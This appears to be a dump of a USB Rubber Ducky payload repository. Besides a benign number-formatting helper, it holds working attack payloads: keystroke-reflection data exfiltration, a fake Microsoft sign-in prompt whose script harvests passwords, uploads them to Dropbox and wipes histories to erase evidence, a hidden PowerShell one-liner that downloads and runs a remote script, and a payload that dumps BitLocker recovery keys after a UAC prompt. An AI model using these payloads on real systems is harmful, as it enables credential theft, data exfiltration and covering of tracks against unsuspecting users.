    "content": "EXTENSION TRANSLATE\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        This extension acts as a library or collection of helper functions\n        to work with converting variables in your payloads.\n        WHY:\n            Of the many ways to get information about the state of your payload\n            is by injecting static strings effectively as debugging prints\n            However, given the non-static nature of payloads using variables in\n            DuckyScript 3.0 - the ability to decode variables during payload\n            execution and print (inject) representations of their current state\n            can often be a critically helpful development and debugging tool.\n\n        Available Functions:\n            DEFAULT:\n                TRANSLATE_INT() - var to decimal string - set $INPUT prior to call\n            EXTENDED: (enabled using the #INCLUDE defines below):\n                TRANSLATE_HEX() - var to hexidecimal string - set $INPUT prior to call\n                TRANSLATE_BINARY() - var to binary string - set $INPUT prior to call\n                TRANSLATE_BOOL() - var to boolean string - set $INPUT prior to call\n\n        USAGE:\n            set $INPUT to desired var\n            call the correct translate_ function for the expected data type e.g.\n               VAR $myVar = 1234\n               $INPUT = $myVar\n               TRANSLATE_INT()\n               REM the above code will inject 1234\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #INCLUDE_TRANSLATE_HEX FALSE\n    DEFINE #INCLUDE_TRANSLATE_BOOL FALSE\n    DEFINE #INCLUDE_TRANSLATE_BINARY FALSE\n    DEFINE #INCLUDE_SWAP_ENDIAN FALSE\n\n    REM Append ENTER after translation\n    VAR $AS_STRINGLN = TRUE\n\n    DEFINE #PRINT_INT 0\n    DEFINE #PRINT_HEX 1\n    VAR $DIGIT_PRINT_MODE = #PRINT_INT\n    VAR $D = 0\n    VAR $IN = 0\n    VAR $INPUT = 0\n    VAR $MOD = 0\n    VAR $P = FALSE\n\n    REM REQUIRED for INT/HEX - convert int to char\n    FUNCTION PRINTDIGIT()\n        IF ($D == 0) THEN\n            STRING 0\n        ELSE IF ($D == 1) THEN\n            STRING 1\n        ELSE IF ($D == 2) THEN\n            STRING 2\n        ELSE IF ($D == 3) THEN\n            STRING 3\n        ELSE IF ($D == 4) THEN\n            STRING 4\n        ELSE IF ($D == 5) THEN\n            STRING 5\n        ELSE IF ($D == 6) THEN\n            STRING 6\n        ELSE IF ($D == 7) THEN\n            STRING 7\n        ELSE IF ($D == 8) THEN\n            STRING 8\n        ELSE IF ($D == 9) THEN\n            STRING 9\n        IF_DEFINED_TRUE #INCLUDE_TRANSLATE_HEX\n            ELSE IF ($DIGIT_PRINT_MODE == #PRINT_HEX) THEN\n                IF ($D == 10) THEN\n                    STRING A\n                ELSE IF ($D == 11) THEN\n                    STRING B\n                ELSE IF ($D == 12) THEN\n                    STRING C\n                ELSE IF ($D == 13) THEN\n                    STRING D\n                ELSE IF ($D == 14) THEN\n                    STRING E\n                ELSE IF ($D == 15) THEN\n                    STRING F\n                END_IF\n        END_IF_DEFINED\n        ELSE\n            STRING ?\n        END_IF\n    END_FUNCTION\n\n    REM REQUIRED for INT/HEX- consumes a character / place from the input\n    FUNCTION CONSUME()\n        $D = 0\n        WHILE ($INPUT >= $MOD)\n            $D = ($D + 1)\n            $INPUT = ($INPUT - $MOD)\n        END_WHILE\n        IF (($D > 0) || ($P == TRUE)) THEN\n            $P = TRUE\n            PRINTDIGIT()\n        END_IF\n    END_FUNCTION\n\n    IF_DEFINED_TRUE #INCLUDE_SWAP_ENDIAN\n        REM ENDIAN SWAPPER helper, (useful for working with VID/PID)\n        FUNCTION SWAP_ENDIAN()\n            $INPUT = ((($INPUT >> 8) & 0x00FF) | (($INPUT << 8) & 0xFF00))\n        END_FUNCTION\n    END_IF_DEFINED\n\n\n    REM Translates a variable of presumed integer type and attempts to convert\n    REM and inject a DECIMAL string representation\n    FUNCTION TRANSLATE_INT() \n        $DIGIT_PRINT_MODE = #PRINT_INT\n        $P = FALSE\n        IF ( $INPUT >= 10000) THEN\n            $MOD = 10000\n            CONSUME()\n        END_IF\n        IF (($INPUT >= 1000) || ($P == TRUE)) THEN\n            $MOD = 1000\n            CONSUME()\n        END_IF\n        IF (($INPUT >= 100) || ($P == TRUE)) THEN\n            $MOD = 100\n            CONSUME()\n        END_IF\n        IF (($INPUT >= 10) || ($P == TRUE)) THEN\n            $MOD = 10\n            CONSUME()\n        END_IF()\n        $D = $INPUT\n        PRINTDIGIT()\n        IF $AS_STRINGLN THEN\n            ENTER\n        END_IF\n    END_FUNCTION\n\n    REM Translates a variable of presumed boolean type and attempts to convert\n    REM and inject a BOOLEAN string representation\n    REM TO ENABLE SET INCLUDE_TRANSLATE_BOOL to TRUE before compiling\n    IF_DEFINED_TRUE #INCLUDE_TRANSLATE_BOOL\n        FUNCTION TRANSLATE_BOOL()\n            IF $INPUT THEN\n                STRING TRUE\n            ELSE\n                STRING FALSE\n            END_IF\n            IF $AS_STRINGLN THEN\n                ENTER\n            END_IF\n        END_FUNCTION\n    END_IF_DEFINED\n\n    REM Translates a variable of presumed integer type and attempts to convert\n    REM and inject a HEX string representation\n    REM TO ENABLE SET INCLUDE_TRANSLATE_HEX to TRUE before compiling\n    IF_DEFINED_TRUE #INCLUDE_TRANSLATE_HEX\n        FUNCTION TRANSLATE_HEX()\n            $DIGIT_PRINT_MODE = #PRINT_HEX\n            VAR $chars = 0\n            VAR $d1 = 0\n            VAR $d2 = 0\n            VAR $d3 = 0\n            VAR $d4 = 0\n            WHILE ($INPUT > 0)\n                IF ($chars == 0) THEN\n                    $d1 = ($INPUT % 16)\n                ELSE IF ($chars == 1) THEN\n                    $d2 = ($INPUT % 16)\n                ELSE IF ($chars == 2) THEN\n                    $d3 = ($INPUT % 16)\n                ELSE IF ($chars == 3) THEN\n                    $d4 = ($INPUT % 16)\n                END_IF\n                $chars = ($chars + 1)\n                $INPUT = ($INPUT / 16)\n            END_WHILE\n            VAR $i = 0\n            STRING 0x\n            IF ($chars == 0) THEN\n                STRING 0x0000\n            ELSE IF ($chars == 1) THEN\n                STRING 000\n                $D = $d1\n                PRINTDIGIT()\n            ELSE IF ($chars == 2) THEN\n                STRING 00\n                $D = $d2\n                PRINTDIGIT()\n                $D = $d1\n                PRINTDIGIT()\n            ELSE IF ($chars == 3) THEN\n                STRING 0\n                $D = $d3\n                PRINTDIGIT()\n                $D = $d2\n                PRINTDIGIT()\n                $D = $d1\n                PRINTDIGIT()\n            ELSE IF ($chars == 4) THEN\n                STRING 0\n                $D = $d4\n                PRINTDIGIT()\n                $D = $d3\n                PRINTDIGIT()\n                $D = $d2\n                PRINTDIGIT()\n                $D = $d1\n                PRINTDIGIT()\n            END_IF\n            IF $AS_STRINGLN THEN\n                ENTER\n            END_IF\n        END_FUNCTION\n    END_IF_DEFINED\n\n    REM Translates a variable of presumed integer type and attempts to convert\n    REM and inject a BINARY string representation\n    REM TO ENABLE SET INCLUDE_TRANSLATE_BINARY to TRUE before compiling\n    IF_DEFINED_TRUE #INCLUDE_TRANSLATE_BINARY\n        FUNCTION TRANSLATE_BINARY()\n            VAR $I = 16\n            WHILE ( $I > 0 )\n                $I = ($I - 1)\n                IF (($INPUT & 0x8000) == 0 ) THEN\n                    STRING 0\n                ELSE\n                    STRING 1\n                END_IF\n                $INPUT = ($INPUT << 1)\n            END_WHILE\n            IF $AS_STRINGLN THEN\n                ENTER\n            END_IF\n        END_FUNCTION\n    END_IF_DEFINED\nEND_EXTENSION\n"
  },
  {
    "path": "payloads/extensions/windows_hid_exfil.txt",
    "content": "EXTENSION WINDOWS_HID_EXFIL\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        Helpers for Keystroke Reflection data exfiltration\n        This payload is a proof of concept for USB HID only Data Exfiltration\n\n        TARGET:\n            Windows Host that supports powershell and SendKeys\n\n        USAGE:\n            Prepare data to exfil (in filename defined by TARGET_FILE below)\n            with a powershell window already open - call RUN_WINDOWS_EXFIL()\n\n        DEPLOYMENT:\n            Plug Ducky into host, wait for the LED to turn (and stay) solid green.\n    END_REM\n\n    REM CONFIGURATION:\n    REM File on host machine to exfil\n    DEFINE #TARGET_FILE filename.txt\n\n    DEFINE #SAVE_AND_RESTORE_LOCKS TRUE\n    DEFINE #ENABLE_EXFIL_LEDS TRUE\n    DEFINE #CLOSE_AFTER_EXFIL TRUE\n\n    DEFINE #RUN_SIMPLE_USAGE_DEMO FALSE\n\n    FUNCTION RUN_WINDOWS_EXFIL()\n        IF_DEFINED_TRUE #SAVE_AND_RESTORE_LOCKS\n            SAVE_HOST_KEYBOARD_LOCK_STATE\n        END_IF_DEFINED\n\n        IF_DEFINED_TRUE #ENABLE_EXFIL_LEDS\n            LED_OFF\n            $_EXFIL_LEDS_ENABLED = TRUE\n        END_IF_DEFINED\n\n        $_EXFIL_MODE_ENABLED = TRUE\n        STRING_POWERSHELL\n            foreach($b in $(Get-Content \"#TARGET_FILE\" -Encoding byte)){\n                foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){\n                    If($b -band $a){\n                        $o+=\"%{NUMLOCK}\"\n                    }Else{\n                        $o+=\"%{CAPSLOCK}\"\n                    }\n                }\n            };\n            $o+=\"%{SCROLLLOCK}\";\n            Add-Type -Assembly System.Windows.Forms;\n            [System.Windows.Forms.SendKeys]::SendWait(\"$o\");\n        END_STRING\n        IF_DEFINED_TRUE #CLOSE_AFTER_EXFIL\n            STRING exit;\n        END_IF_DEFINED\n\n        ENTER\n\n        REM Listen for EOF\n        WAIT_FOR_SCROLL_CHANGE\n        $_EXFIL_MODE_ENABLED = FALSE\n\n        IF_DEFINED_TRUE #ENABLE_EXFIL_LEDS\n            LED_G\n        END_IF_DEFINED\n\n        IF_DEFINED_TRUE #SAVE_AND_RESTORE_LOCKS\n            RESTORE_HOST_KEYBOARD_LOCK_STATE\n        END_IF_DEFINED\n    END_FUNCTION\n\n    IF_DEFINED_TRUE #RUN_SIMPLE_USAGE_DEMO\n        REM DO NOT MODIFY THIS DEMO - copy and move outside extension if using as template.\n        REM DEMO Boot Delay\n        DELAY 3000\n        REM Open run dialog\n        GUI r\n        DELAY 500\n        REM Open Powershell\n        STRINGLN powershell\n        DELAY 500\n        REM Prepare some data in TARGET_FILE\n        STRINGLN echo test123 > #TARGET_FILE\n        DELAY 500\n        REM Exfil data to USB Rubber Ducky using Keystroke Reflection\n        RUN_WINDOWS_EXFIL()\n    END_IF_DEFINED\nEND_EXTENSION\n"
  },
  {
    "path": "payloads/library/credentials/-RD-Credz-Plz/Credz-Plz-Execute.txt",
    "content": "REM     Title: Credz-Plz\n\nREM     Author: I am Jakoby\n\nREM     Description: This payload is meant to prompt the target to enter their creds to later be exfiltrated with dropbox. See README.md file for more details.\n\nREM     Target: Windows 10, 11\n\nGUI r\nDELAY 500\nSTRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl\nENTER\n\nREM     Remember to replace the link with your DropBox shared link for the intended file to download\nREM     Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly\n"
  },
  {
    "path": "payloads/library/credentials/-RD-Credz-Plz/Credz-Plz.ps1",
    "content": "############################################################################################################################################################                      \n#                                  |  ___                           _           _              _             #              ,d88b.d88b                     #                                 \n# Title        : Credz-Plz         | |_ _|   __ _   _ __ ___       | |   __ _  | | __   ___   | |__    _   _ #              88888888888                    #           \n# Author       : I am Jakoby       |  | |   / _` | | '_ ` _ \\   _  | |  / _` | | |/ /  / _ \\  | '_ \\  | | | |#              `Y8888888Y'                    #           \n# Version      : 1.0               |  | |  | (_| | | | | | | | | |_| | | (_| | |   <  | (_) | | |_) | | |_| |#               `Y888Y'                       #\n# Category     : Credentials       | |___|  \\__,_| |_| |_| |_|  \\___/   \\__,_| |_|\\_\\  \\___/  |_.__/   \\__, |#                 `Y'                         #\n# Target       : Windows 7,10,11   |                                                                   |___/ #           /\\/|_      __/\\\\                  #     \n# Mode         : HID               |                                                           |\\__/,|   (`\\ #          /    -\\    /-   ~\\                 #             \n#                                  |  My crime is that of curiosity                            |_ _  |.--.) )#          \\    = Y =T_ =   /                 #      \n#                                  |   and yea curiosity killed the cat                        ( T   )     / #   Luther  )==*(`     `) ~ \\   Hobo          #                                                                                              \n#                                  |    but satisfaction brought him back                     (((^_(((/(((_/ #          /     \\     /     \\                #    \n#__________________________________|_________________________________________________________________________#          |     |     ) ~   (                #\n#                                                                                                            #         /       \\   /     ~ \\               #\n#  github.com/I-Am-Jakoby                                                                                    #         \\       /   \\~     ~/               #         \n#  twitter.com/I_Am_Jakoby                                                                                   #   /\\_/\\_/\\__  _/_/\\_/\\__~__/_/\\_/\\_/\\_/\\_/\\_#                     \n#  instagram.com/i_am_jakoby                                                                                 #  |  |  |  | ) ) |  |  | ((  |  |  |  |  |  |#              \n#  youtube.com/c/IamJakoby                                                                                   #  |  |  |  |( (  |  |  |  \\\\ |  |  |  |  |  |#\n############################################################################################################################################################\n\n<#\n.SYNOPSIS\n\tThis script is meant to trick your target into sharing their credentials through a fake authentication pop up message\n\n.DESCRIPTION \n\tA pop up box will let the target know \"Unusual sign-in. Please authenticate your Microsoft Account\"\n\tThis will be followed by a fake authentication ui prompt. \n\tIf the target tried to \"X\" out, hit \"CANCEL\" or while the password box is empty hit \"OK\" the prompt will continuously re pop up \n\tOnce the target enters their credentials their information will be uploaded to your dropbox for collection\n\n.Link\n\thttps://developers.dropbox.com/oauth-guide\t\t# Guide for setting up your DropBox for uploads\n\n#>\n\n#------------------------------------------------------------------------------------------------------------------------------------\n\n$DropBoxAccessToken = \"YOUR-DROPBOX-ACCESS-TOKEN\"\n\n#------------------------------------------------------------------------------------------------------------------------------------\n\n$FileName = \"$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_User-Creds.txt\"\n \n#------------------------------------------------------------------------------------------------------------------------------------\n\n<#\n\n.NOTES \n\tThis is to generate the ui.prompt you will use to harvest their credentials\n#>\n\nfunction Get-Creds {\ndo{\n$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password\n   if([string]::IsNullOrWhiteSpace([Net.NetworkCredential]::new('', $cred.Password).Password)) {\n    [System.Windows.Forms.MessageBox]::Show(\"Credentials can not be empty!\")\n    Get-Creds\n}\n$creds = $cred.GetNetworkCredential() | fl\nreturn $creds\n  # ...\n\n  $done = $true\n} until ($done)\n\n}\n\n#----------------------------------------------------------------------------------------------------\n\n<#\n\n.NOTES \n\tThis is to pause the script until a mouse movement is detected\n#>\n\nfunction Pause-Script{\nAdd-Type -AssemblyName System.Windows.Forms\n$originalPOS = [System.Windows.Forms.Cursor]::Position.X\n$o=New-Object -ComObject WScript.Shell\n\n    while (1) {\n        $pauseTime = 3\n        if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){\n            break\n        }\n        else {\n            $o.SendKeys(\"{CAPSLOCK}\");Start-Sleep -Seconds $pauseTime\n        }\n    }\n}\n\n#----------------------------------------------------------------------------------------------------\n\n# This script repeadedly presses the capslock button, this snippet will make sure capslock is turned back off \n\nfunction Caps-Off {\nAdd-Type -AssemblyName System.Windows.Forms\n$caps = [System.Windows.Forms.Control]::IsKeyLocked('CapsLock')\n\n#If true, toggle CapsLock key, to ensure that the script doesn't fail\nif ($caps -eq $true){\n\n$key = New-Object -ComObject WScript.Shell\n$key.SendKeys('{CapsLock}')\n}\n}\n#----------------------------------------------------------------------------------------------------\n\n<#\n\n.NOTES \n\tThis is to call the function to pause the script until a mouse movement is detected then activate the pop-up\n#>\n\nPause-Script\n\nCaps-Off\n\nAdd-Type -AssemblyName System.Windows.Forms\n\n[System.Windows.Forms.MessageBox]::Show(\"Unusual sign-in. Please authenticate your Microsoft Account\")\n\n$creds = Get-Creds\n\n#------------------------------------------------------------------------------------------------------------------------------------\n\n<#\n\n.NOTES \n\tThis is to save the gathered credentials to a file in the temp directory\n#>\n\necho $creds >> $env:TMP\\$FileName\n\n#------------------------------------------------------------------------------------------------------------------------------------\n\n<#\n\n.NOTES \n\tThis is to upload your files to dropbox\n#>\n\n$TargetFilePath=\"/$FileName\"\n$SourceFilePath=\"$env:TMP\\$FileName\"\n$arg = '{ \"path\": \"' + $TargetFilePath + '\", \"mode\": \"add\", \"autorename\": true, \"mute\": false }'\n$authorization = \"Bearer \" + $DropBoxAccessToken\n$headers = New-Object \"System.Collections.Generic.Dictionary[[String],[String]]\"\n$headers.Add(\"Authorization\", $authorization)\n$headers.Add(\"Dropbox-API-Arg\", $arg)\n$headers.Add(\"Content-Type\", 'application/octet-stream')\nInvoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers\n\n#------------------------------------------------------------------------------------------------------------------------------------\n\n<#\n\n.NOTES \n\tThis is to clean up behind you and remove any evidence to prove you were there\n#>\n\n# Delete contents of Temp folder \n\nrm $env:TEMP\\* -r -Force -ErrorAction SilentlyContinue\n\n# Delete run box history\n\nreg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /va /f\n\n# Delete powershell history\n\nRemove-Item (Get-PSreadlineOption).HistorySavePath\n\n# Deletes contents of recycle bin\n\nClear-RecycleBin -Force -ErrorAction SilentlyContinue\n\n"
  },
  {
    "path": "payloads/library/credentials/-RD-Credz-Plz/README.md",
    "content": "![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true)\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# Credz-Plz\n\nA script used to prompt the target to enter their creds to later be exfiltrated with dropbox.\n\n## Description\n\nA pop up box will let the target know \"Unusual sign-in. Please authenticate your Microsoft Account\"\nThis will be followed by a fake authentication ui prompt. \nIf the target tried to \"X\" out, hit \"CANCEL\" or while the password box is empty hit \"OK\" the prompt will continuously re pop up \nOnce the target enters their credentials their information will be uploaded to your dropbox for collection \n\n![alt text](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/OMG/Payloads/OMG-Credz-Plz/unusual-sign-in.jpg)\n\n![alt text](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/OMG/Payloads/OMG-Credz-Plz/sign-in.jpg)\n\n## Getting Started\n\n### Dependencies\n\n* DropBox or other file sharing service - Your Shared link for the intended file\n* Windows 10,11\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Plug in your device\n* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory\n```\npowershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl\n```\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here\n\nI am Jakoby\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<div><h2>I am Jakoby</h2></div>\n  <p><br/>\n  \n  <img src=\"https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif\" width=\"50\"> \n  \n  <a href=\"https://github.com/I-Am-Jakoby/\">\n    <img src=\"https://img.shields.io/badge/GitHub-I--Am--Jakoby-blue\">\n  </a>\n  \n  <a href=\"https://www.instagram.com/i_am_jakoby/\">\n    <img src=\"https://img.shields.io/badge/Instagram-i__am__jakoby-red\">\n  </a>\n  \n  <a href=\"https://twitter.com/I_Am_Jakoby/\">\n    <img src=\"https://img.shields.io/badge/Twitter-I__Am__Jakoby-blue\">\n  </a>\n  \n  <a href=\"https://www.youtube.com/c/IamJakoby/\">\n    <img src=\"https://img.shields.io/badge/YouTube-I_am_Jakoby-red\">\n  </a>\n\n  Project Link: [https://github.com/I-Am-Jakoby/hak5-submissions/tree/main/OMG/Payloads/OMG-ADV-Recon)\n</p>\n\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [MG](https://github.com/OMG-MG)\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n"
  },
  {
    "path": "payloads/library/credentials/BitLockerKeyDump/payload.txt",
    "content": "REM       BitLockerKeyDump\r\nREM       Version 1.0\r\nREM       OS: Windows\r\nREM       Author: 0i41E\r\nREM       Requirement: DuckyScript 3.0\r\nREM       This small powershell payload dumps the users BitLocker recovery key and exfiltrates them via Keystroke Reflection\r\n\r\nREM Extension made by Korben for checking if Target is Windows OS\r\nEXTENSION EXTENSION PASSIVE_WINDOWS_DETECT\r\n    REM VERSION 1.1\r\n    REM AUTHOR: Korben\r\n\r\n    REM_BLOCK DOCUMENTATION\r\n        Windows fully passive OS Detection and passive Detect Ready\r\n        Includes its own passive detect ready.\r\n        Does not require additional extensions.\r\n\r\n        USAGE:\r\n            Extension runs inline (here)\r\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\r\n            boot delay\r\n            $_OS will be set to WINDOWS or NOT_WINDOWS\r\n            See end of payload for usage within payload\r\n    END_REM\r\n\r\n    REM CONFIGURATION:\r\n    DEFINE #MAX_WAIT 150\r\n    DEFINE #CHECK_INTERVAL 20\r\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\r\n    DEFINE #NOT_WINDOWS 7\r\n\r\n    $_OS = #NOT_WINDOWS\r\n\r\n    VAR $MAX_TRIES = #MAX_WAIT\r\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\r\n        DELAY #CHECK_INTERVAL\r\n        $MAX_TRIES = ($MAX_TRIES - 1)\r\n    END_WHILE\r\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\r\n        $_OS = WINDOWS\r\n    END_IF\r\n\r\n    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION\r\n        IF ($_OS == WINDOWS) THEN\r\n            STRING HELLO WINDOWS!\r\n        ELSE\r\n            STRING HELLO WORLD!\r\n        END_IF\r\n    END_REM\r\nEND_EXTENSION\r\n\r\nREM Extension made by 0i41E to signalize the payloads end\r\nEXTENSION DETECT_FINISHED\r\n    REM VERSION 1.0\r\n    REM AUTHOR: 0i41E\r\n\r\n    REM_BLOCK DOCUMENTATION\r\n        USAGE:\r\n            Use the function Detect_Finished() to signal the finished execution of your payload.\r\n    END_REM\r\n\r\n    REM CONFIGURATION:\r\n    DEFINE #PAUSE 150\r\n    FUNCTION Detect_Finished()\r\n        IF ($_CAPSLOCK_ON == FALSE)\r\n            CAPSLOCK\r\n            DELAY #PAUSE\r\n            CAPSLOCK\r\n            DELAY #PAUSE\r\n            CAPSLOCK\r\n            DELAY #PAUSE\r\n            CAPSLOCK\r\n            ATTACKMODE OFF\r\n        ELSE IF\r\n            CAPSLOCK\r\n            DELAY #PAUSE\r\n            CAPSLOCK\r\n            DELAY #PAUSE\r\n            CAPSLOCK\r\n            ATTACKMODE OFF\r\n        END_IF\r\n    END_FUNCTION\r\nEND_EXTENSION\r\n\r\nREM Extension made by 0i41E for fileless exfiltration via Lock Keys\r\nEXTENSION WINDOWS_FILELESS_HID_EXFIL\r\n    REM VERSION 1.0\r\n    REM AUTHOR: 0i41E\r\n\r\n    REM_BLOCK DOCUMENTATION\r\n        Extension for Keystroke Reflection data exfiltration without putting files on disk.\r\n        This extension is a proof of concept for USB HID only Data Exfiltration and is based on Hak5s original Method.\r\n\r\n        TARGET:\r\n            Windows Hosts that supports powershell and SendKeys\r\n\r\n        USAGE:\r\n            Type out your command or script with powershell, don't execute it yet (so just type it out with STRING), afterwards you put the function Windows_Fileless_HID_Exfil() behind it.\r\n            It'll take the commands/scritps output and writes it into a variable, which then gets exfiltrated.\r\n\r\n        Example Usage:\r\n            GUI r\r\n            DELAY 500\r\n            STRINGLN powershell\r\n            DELAY 1000\r\n            STRING echo \"This is my test\"\r\n            Windows_Fileless_HID_Exfil()\r\n    END_REM\r\n\r\n    FUNCTION Windows_Fileless_HID_Exfil()\r\n        DELAY 250\r\n        REM Saving current Keyboard lock keys\r\n        SAVE_HOST_KEYBOARD_LOCK_STATE\r\n        $_EXFIL_MODE_ENABLED = TRUE\r\n        $_EXFIL_LEDS_ENABLED = TRUE\r\n        DELAY 500\r\n        REM Setting the output as variable\r\n        STRING |Out-String|Set-Variable -Name \"DD\";\r\n        REM Converting output into Lock Key values\r\n        STRING $BL = $DD.ToCharArray();$c = \"\";foreach ($b in $BL){foreach ($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){if ($b -band $a){$c += '%{NUMLOCK}'}else{$c += '%{CAPSLOCK}'}}}$c += '%{SCROLLLOCK}';\r\n        REM Exfiltrating via Keystroke Reflection\r\n        STRINGLN Add-Type -A System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait($c);exit\r\n        REM The final SCROLLLOCK value will be sent to indicate that EXFIL is complete.\r\n        WAIT_FOR_SCROLL_CHANGE\r\n        LED_G\r\n        $_EXFIL_MODE_ENABLED = FALSE\r\n        RESTORE_HOST_KEYBOARD_LOCK_STATE\r\n    END_FUNCTION\r\nEND_EXTENSION\r\n\r\nREM Execution of \"Yes\" shortcut: ALT j (german), ALT y (english)\r\nDEFINE #YES_SHORTCUT ALT j\r\n\r\nREM If Target is Windows, execute payload\r\nIF ($_OS == WINDOWS) THEN\r\n    GUI r\r\n    DELAY 500\r\n    REM Opening hidden powershell and pressing CAPSLOCK as Administrator\r\n    STRING powershell -nop -c \"Add-Type -A System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait('{CAPSLOCK}');powershell.exe -nop -w h\"\r\n    DELAY 250\r\n    CTRL-SHIFT ENTER\r\nREM Rather long DELAY to increase reliability\r\n    DELAY 2000\r\nREM Shortcut for pressing yes when UAC prompt appears\r\n    #YES_SHORTCUT\r\nREM Check for CAPSLOCK change to see if execution as Admin was successful \r\n    WAIT_FOR_CAPS_CHANGE\r\n    DELAY 1500\r\nREM Dumping recovery keys\r\n    STRING Get-BitLockerVolume|ForEach-Object{$drive = $_.MountPoint;$Key = [string]($_.KeyProtector).RecoveryPassword;if ($Key.Length -gt 5){Write-Output (\"$drive Drive - Recovery Key: $Key\")}}\r\nREM Exfiltrating keys via Keystroke Reflection\r\n    Windows_Fileless_HID_Exfil()\r\n    DELAY 150\r\n    Detect_Finished()\r\nREM If System is not Windows...\r\nELSE \r\n    DELAY 500\r\nREM ... and CAPSLOCK is ON, open Storage... \r\n    IF ($_CAPSLOCK_ON == TRUE) THEN\r\n        ATTACKMODE STORAGE\r\nREM ... If CAPSLOCK is OFF, stay in ATTACKMODE OFF   \r\n    ELSE\r\n        LED_RED\r\n        DELAY 1000\r\n        LED_OFF\r\n        ATTACKMODE OFF\r\n    END_IF\r\nEND_IF\r\n"
  },
  {
    "path": "payloads/library/credentials/BitLockerKeyDump/readme.md",
    "content": "**Title: BitLockerKeyDump**\r\n\r\n<p>Author: 0i41E<br>\r\nOS: Windows<br>\r\nVersion: 1.0<br>\r\n\r\n**What is BitLockerKeyDump?**\r\n\r\n#\r\n<p>Lets first explain, what is \"a BitLocker recovery key\"?\r\n\r\nA BitLocker recovery key is a unique 48-digit numerical password that is generated when you enable BitLocker on a Windows computer or device. \r\nBitLocker is a disk encryption program included with Windows, and is designed to protect the data on your hard drive by encrypting it. \r\nThe recovery key is a critical component of BitLocker because it is used to unlock or recover access to the encrypted drive in case you forget your BitLocker password or experience issues with your computer's hardware or software.\r\nCommon scenarios where you might need a BitLocker recovery key:\r\n- Forgotten Password: If you forget the password you set for BitLocker, you can use the recovery key to regain access to your encrypted drive.\r\n- Hardware Changes: If you make significant hardware changes to your computer, such as replacing the motherboard or hard drive, BitLocker may trigger a recovery mode, and you'll need the recovery key to unlock the drive.\r\n- Operating System Errors: In the event of certain operating system errors or issues, BitLocker may require the recovery key to restore access to the encrypted drive.\r\n\r\nIt's important to keep your BitLocker recovery key in a safe and secure location because it provides a way to bypass BitLocker's encryption and access your data.</p>\r\n\r\nNow that we have explained what BitLocker and the recovery key are, what is BitLockerKeyDump? Short and easy: It dumps the recovery key and exfiltrates it via Keystroke Reflection.\r\n\r\n\r\n\r\n**Instructions:**\r\n1. Set the correct \"Yes\" shortcut in line 132. (i.e. `ALT j` for german systems, `ALT y` for english keyboard layouts)\r\n\r\n2. Plug in your RubberDucky into a Windows target and wait for the process to end. Have fun observing the Keyboards LEDs ;)\r\n\r\n_*If plugged into a non Windows system, `ATTACKMODE OFF` will be triggered, unless `CAPSLOCK` is ON while the Ducky is getting plugged in. This way you can collect the loot savely._\r\n\r\n3. Open the exfiltrated loot.bin file to access the recovery key."
  },
  {
    "path": "payloads/library/credentials/Browser-Passwords-Dropbox-Exfiltration/ReadMe.md",
